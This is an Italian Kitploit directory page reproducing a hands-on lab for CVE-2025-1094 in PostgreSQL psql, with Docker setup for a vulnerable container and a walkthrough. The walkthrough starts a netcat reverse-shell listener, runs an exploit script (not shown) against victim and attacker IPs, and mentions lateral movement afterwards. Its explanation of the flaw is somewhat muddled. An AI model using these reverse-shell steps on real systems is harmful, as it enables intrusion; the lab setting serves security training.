Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-1094-Lab-Setup — # Laboratorio pratico per sfruttare CVE-2025-1094, un'iniezione SQL in PostgreSQL psql che porta a RCE tramite COPY TO PROGRAM, con configurazione Docker e payload di reverse shell. | Kitploit
Strumenti/GitHubGitHub/pinkarmor/cve-2025-1094-lab-setup
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubpinkarmor/cve-2025-1094-lab-setup

CVE-2025-1094-Lab-Setup

# Laboratorio pratico per sfruttare CVE-2025-1094, un'iniezione SQL in PostgreSQL psql che porta a RCE tramite COPY TO PROGRAM, con configurazione Docker e payload di reverse shell.

Vedi Repository
10 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

🛠️ Configurazione del Laboratorio CVE-2025-1094

⚠️ Disclaimer
Questo laboratorio è solo a scopo educativo e di ricerca.
NON utilizzare alcuna informazione o tecnica qui dimostrata su sistemi che non possiedi o per cui non hai esplicita autorizzazione a testare. L'uso non autorizzato di questi metodi può violare leggi e comportare gravi sanzioni.


📌 Panoramica

CVE-2025-1094 è una vulnerabilità critica che colpisce lo strumento interattivo psql di PostgreSQL, scoperta nella versione 14.15 e precedenti.
Consente agli attaccanti di eseguire SQL Injection che può portare a Remote Code Execution (RCE) in determinate condizioni.


🧨 Causa Principale

La vulnerabilità deriva da una gestione impropria di input UTF-8 malformati in psql.
A causa di una validazione insufficiente, gli attaccanti possono iniettare SQL arbitrario o meta-comandi come ! (escape della shell), e persino sfruttare per eseguire comandi di sistema.

COPY ... TO PROGRAM

🔥 Impatto e Scenari di Attacco

  • SQL Injection → RCE: Stringhe UTF-8 malformate bypassano la validazione e portano all'esecuzione di query arbitrarie.
  • Abuso di COPY TO PROGRAM: Gli attaccanti possono eseguire comandi shell arbitrari come:
    • Reverse shell
    • Lettura di file sensibili (/etc/passwd)
    • Combinazione con altre CVE per RCE completa non autenticata
  • Rischio di Integrazione: Il software che utilizza psql con input non attendibili (es. BeyondTrust PRA, Remote Support) è particolarmente esposto.

🧪 Requisiti del Laboratorio

🐳 Vittima (Ubuntu)

Installa Docker:

root@kitploit:~
sudo apt update
sudo apt install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt update
sudo apt install -y docker-ce docker-ce-cli containerd.io
sudo systemctl enable --now docker
sudo usermod -aG docker $USER

👉 Riavvia o esci e accedi di nuovo per applicare i permessi del gruppo Docker.


🐍 Attaccante (Kali)

Installa Python e le dipendenze:

root@kitploit:~
sudo apt install -y python3 python3-pip python3-psycopg2 netcat-traditional

✅ Assicurati della connettività di rete tra le macchine attaccante e vittima.


⚙️ Passo 1 – Distribuisci il Container PostgreSQL Vulnerabile (Vittima)

  1. Scarica l'immagine PostgreSQL 14.15:
root@kitploit:~
docker pull postgres:14.15
  1. Esegui il container:
root@kitploit:~
docker run --name vulnerable_postgres   -e POSTGRES_USER=postgres123   -e POSTGRES_PASSWORD=StrongP@ssWord   -e POSTGRES_DB=labdb   -p 5432:5432   -d postgres:14.15
  1. Attendi ~5s per l'inizializzazione, poi crea una tabella demo:
root@kitploit:~
docker exec -i vulnerable_postgres psql -U postgres123 -d labdb <<EOF
CREATE TABLE users (
  id SERIAL PRIMARY KEY,
  username TEXT,
  password TEXT
);
INSERT INTO users (username, password) VALUES ('admin', 'password123');
EOF

✅ Passo 1.5 – Verifica il container e la configurazione del database

Dopo aver avviato il container, verifica che tutto funzioni con i seguenti comandi:

1. Controlla che il container PostgreSQL sia in esecuzione:

root@kitploit:~
sudo docker ps

📌 Dovresti vedere un container chiamato vulnerable_postgres in ascolto sulla porta 5432.


2. Accedi al container e ispeziona il database:

root@kitploit:~
sudo docker exec -it vulnerable_postgres psql -U postgres123 -d labdb

All'interno della shell psql, esegui:

root@kitploit:~
SELECT * FROM users;

Output atteso:

root@kitploit:~
 id | username |  password
----+----------+-------------
  1 | admin    | password123
(1 row)

Esci da psql:

root@kitploit:~
\q

✅ Ora la tua istanza PostgreSQL vulnerabile è in esecuzione e pronta per lo sfruttamento.


3. Riavvia il container

root@kitploit:~
sudo docker start vulnerable_postgres

📡 Passo 2 – Sfruttamento dalla Macchina Attaccante

  1. Avvia un listener sulla macchina attaccante per catturare la reverse shell:
root@kitploit:~
nc -lvnp 4444
  1. Esegui lo script di exploit (regola IP e porta se necessario):
root@kitploit:~
python3 exploit.py <Victim_IP> <Attacker_IP> <Attacker_PORT>
  1. Se ha successo, riceverai una reverse shell dal container PostgreSQL vulnerabile 🎉
root@kitploit:~
[*] Connecting to PostgreSQL server...
[+] Connected successfully!
[*] Sending payload...
[✓] Payload executed! Check your Netcat listener for a shell.

🧰 Esempio di Flusso di Sfruttamento

  1. Inietta UTF-8 malformato per bypassare la validazione dell'input
  2. Sfrutta COPY ... TO PROGRAM per eseguire comandi shell arbitrari
  3. La reverse shell si riconnette alla macchina attaccante
  4. Escalation dei privilegi o movimento laterale nell'ambiente

💡 Suggerimento: Puoi creare uno snapshot di questo container vulnerabile e riutilizzarlo in seguito senza ricostruire l'ambiente.

Scarica lo strumento